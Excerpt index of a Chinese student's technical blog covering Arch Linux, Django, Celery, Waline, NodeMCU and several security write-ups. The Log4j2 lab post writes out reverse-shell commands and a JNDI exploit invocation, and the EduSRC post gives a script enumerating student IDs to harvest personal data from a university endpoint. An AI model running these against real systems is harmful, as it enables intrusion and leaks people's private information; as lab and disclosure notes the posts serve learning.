Arch Linux迁移计划
Arch Linux迁移计划食用指北如果是从零开始安装,建议直接跳到 大佬教程 章节,无需看完正文内容
对于Linux的苦难哲学论述感兴趣的,可以翻到文章结尾去找
善用 Ctrl+F 可以事半功倍
后续还会不定期填坑更新
本文的Arch Linux安装于2022年6月,不保证有关Arch Linux内容在一年后依然有效
前言自由的代价总是昂贵的,但未必使人感到幸福
自由必然是需要代价的,你要求的自由度越大,实现的难度系数越高,代价就越大。
阳光之下总有阴影
不自由才能衬托自由
人类是群居动物,社会规则之外争取到的自由,格外珍贵,当然昂贵。
开始这是一项我长期计划的一个任务:使用Linux完成Windows的替代
随着学校大创项目的顺利解题,使我有机会告别那些优化垃圾的专属开发软件(Keil,Multisim),外加Nvidia开源了GTX 20系的驱动,扫清了之前退坑的问题。外加国产固态性能的提升,使得我有意愿+机会把Linux安装到新买的硬盘上。我周围也有使用Linux作为主力的同学,并且也使用了一年左右无恶意问题,这些因素都极大促成了这个计划的进行。
于是,就有了这篇文章,用于记录 ...
Django事务使用
做DRF项目的时候遇到了一个问题:一次请求,要同时在数据库里的三张表里创建字段,且三个字段存在相互依赖关系(B的字段里有A的pk键值),且其中任何一个字段校验失败,三张表都要撤回写入。折腾了老半天,在学长提醒用Django事务去解决的时候,才意识的这个操作应该要符合原子性
数据库事务看DJango文档
https://docs.djangoproject.com/zh-hans/3.2/topics/db/transactions/
完美契合需求
Django 提供了一个 API 控制数据库事务。
atomic(using=None, savepoint=True, durable=False)¶
原子性是数据库事务的定义属性。 atomic 允许创建代码块来保证数据库的原子性。如果代码块成功创建,这个变动会提交到数据库。如果有异常,变动会回滚。
要避免在 atomic 内部捕捉异常!
当存在 atomic 块时, Django 查看它是否正常退出或存在异常来决定是提交还是正常回滚。如果你在 atomic 内部捕捉并且处理异常,你可以对 Djang ...
记录第一次EduSRC上报
先上图,第一次上报漏洞成功,当时还开心了好一阵,其实也没啥技术含量,一个低危漏洞
第一次上报3月15日,做核酸检测的时候偶然发现的,拿BurpSuite打一梭子,没想到真的爆出信息泄露,也不做URL加密,无语了
测试脚本
12345import requestsstr1 = "https://*****.xaut.edu.cn/educational/nucleic_acid_collect/getStudentInfo?stuNum="for i in range(3140131001,3140131050): response = requests.get(str1+str(i)) print(response.text)
然后拿着这些信息就去上报了
https://src.sjtu.edu.cn/
很快啊,早上上报,下午就拿到邮件了
人生第一个SRC到手
梅开二度其实吧,修复速度还蛮快的(两天后就修复了),但治标不治本,原本的GET请求换为了POST请求,文字用URL+Base64加密,但对请求次数依然没有限制,还是可以很顺利的获取到信息
...
Jetbrain问题应急处理
大概是这周一的时候,下完Edison的课,去上java课的时候,发现自己手上的IDEA卡死打不开了,随后PyCharm,Clion也都相继无法打开,人开始有点慌了。
手动把2021.3的版的IDEA卸载,换成2022.1,启动照样出错,但弹出了错误提示
1234567891011121314151617181920212223242526272829303132com.intellij.ide.plugins.StartupAbortedException: Cannot start app at com.intellij.idea.StartupUtil.lambda$start$15(StartupUtil.java:263) at java.base/java.util.concurrent.CompletableFuture.uniExceptionally(CompletableFuture.java:986) at java.base/java.util.concurrent.CompletableFuture$UniExceptionally.tryFire(Comple ...
Celery5.2学习&配置
Celery5.2学习&配置手头的Django 3.2项目需要Celery,一翻百度,发现全是基于Django 2.2的帖子,再一看官方仓库和文档,妈耶,清一色英文说明。有个半吊子的中文翻译(又不是不能看.jpg),只能自己摸坑慢慢爬去了。
本篇文章全程无图,字多慎入
官方仓库地址:
https://github.com/celery/celery/
官方文档
https://docs.celeryq.dev/en/stable/
自己写的项目(后端不会长期开着,要测试本地自行踩坑自建)
https://gitee.com/mocus/todo-list
同一批写的项目,如果ta们开放权限的话应该能看到,也是用了celery的
https://gitee.com/li-jiayin167
https://gitee.com/BabyMuu/todo-api
https://github.com/YichenWu11/simple-todolist
什么是Celery高性能异步框架,支持异步调用,需要RabbitMQ或redis作为队列支撑
我觉得这个讲的不错,这里就不过多赘述了 ...
Waline部署记录
Waline部署记录吐槽一下,腾讯云开发白嫖不起了(每日数据库读取量从50000变500,不太能接受)
而且Twikco控制面板被我给搞崩了,貌似是一次性升了一个大版本导致的,不得不用两个晚上重新部署评论
Waline的文档不错,但配置真心不友好,全是docker环境变量
jsdelivr国内备案没了,这对与用Hexo博客的人而言太不友好了
查到掘金有Waline的CDN,大喜,立换之
顺手也把其他js的CDN给换了
Waline官网
https://waline.js.org/
安装&&使用当然首选docker pull,省掉构建镜像的麻烦
1docker pull izheming/waline
漫长等待后开始部署(好像没配置国内镜像源)
提前准备好sqlite文件(支持MySql,但我觉的sqlite就够了,不用担心多开一个端口被人问候的问题)
https://github.com/walinejs/waline/blob/main/assets/waline.sqlite
其实应该要用Docker Compose的,但安装的时候搞崩了,只能脚本解决问题
有 ...
Frida hook初次实战
Frida Hook初次实战做攻防世界的CTF题,看到有大佬搞Frida的操作,按照大佬做到试了一下
ill-intentions(Native hook)攻防世界——ill-intentions
frida,frida-server,objection该安装的都安装好
adb连接上机子
由于没有修改apk包,触发按钮的Intent显示不了,用objection手动开启
12objection -g com.example.hellojni exploreandroid intent launch_activity com.example.application.IsThisTheRealOne
效果如下
挂上大佬hook Native的脚本
12345678910111213141516171819202122232425262728293031323334353637383940//tt.js//出自https://blog.csdn.net/Palmer9/article/details/122464683//别问脚本什么意思,frida脚本还不太会写function m ...
NodeMCU-MicroPython配置实录
NodeMCU-MicroPython配置实录发现网络上的记录过于混杂,自己写一下笔记防止到时找不到资料
不会Python?百度搜索“菜鸟教程”,看看Python3就会了,人生苦短,我选Python
刷MicroPython包去micropython的官网下载,选择正常版本(2Mib+)下载即可
(此处默认已经装完Python,并默认加入path,如果未安装自行百度)
下载完以后,本地的pip使用这个指令:
1pip install esptool
找到设备所在的端口
控制面板->硬件和声音->设备管理器
得知我们的设备运行在COM3
在esp8266-20220117-v1.18.bin所在的目录,打开cmd输入以下命令
12esptool.py --port COM3 erase_flashesptool.py --port COM3 --baud 460800 write_flash --flash_size=detect 0 esp8266-20220117-v1.18.bin --verify
等待烧写成功
Thonny版本纯傻瓜教学版+免安装espto ...
Log4j2漏洞复现
Log4j2漏洞复现”长安战疫“赛里用到了Log4j2漏洞,按照学长的建议,用靶场复现一下log4j2漏洞
云演靶场dnslog回显四叶草云演的环境不错
Log4j2靶场传送门
参考学长写的文章复现
lc219_log4j2复现
记得payload要url编码,在校园网里头DNSlog回显很有可能只显示一条(无论打多少下,结果依然显示一条)
血的教训,搭进去至少一个小时
反弹shell照抄云演的材料就行
12345bash -i >&/dev/tcp/公网地址/公网可访问的端口 0>&1bash -c {echo,反弹shell的base64编码内容}|{base64,-d}|{bash,-i}//在服务器上部署JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jarjava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码内容}| ...
2022长安“战疫”网络安全卫士守护赛回顾
2022长安“战疫”网络安全卫士守护赛回顾从从早上6点到晚上18点,除了去做核酸以外还没出过宿舍,(y1s1,中午快一点才把午餐送到,听说还闹了些不愉快的事情),先把题解写下,有的地方还需要日后补充(咕咕咕)
(持续更新中)
20221.1.13更新
四叶草还是给力,下面是复现靶场
https://www.yunyansec.com/#/experiment/expdetail/3
Reverse别问为什么reverse的前三题和官网的一样(因为就是我出的),要是知道大佬们要来,题目难度肯定会再上一个档次
hello_pyflag{He110_cazy}
pyc用网上的工具解密完以后,异或运算解决
题解:
12345678910111213141516flag=[44, 100, 3, 50, 106, 90, 5, 102, 10, 112]j=0for i in flag: if j%2==0: flag[j]=flag[j]^flag[j+1] j+=1 else: flag[j]=flag[j]^j j+=1f ...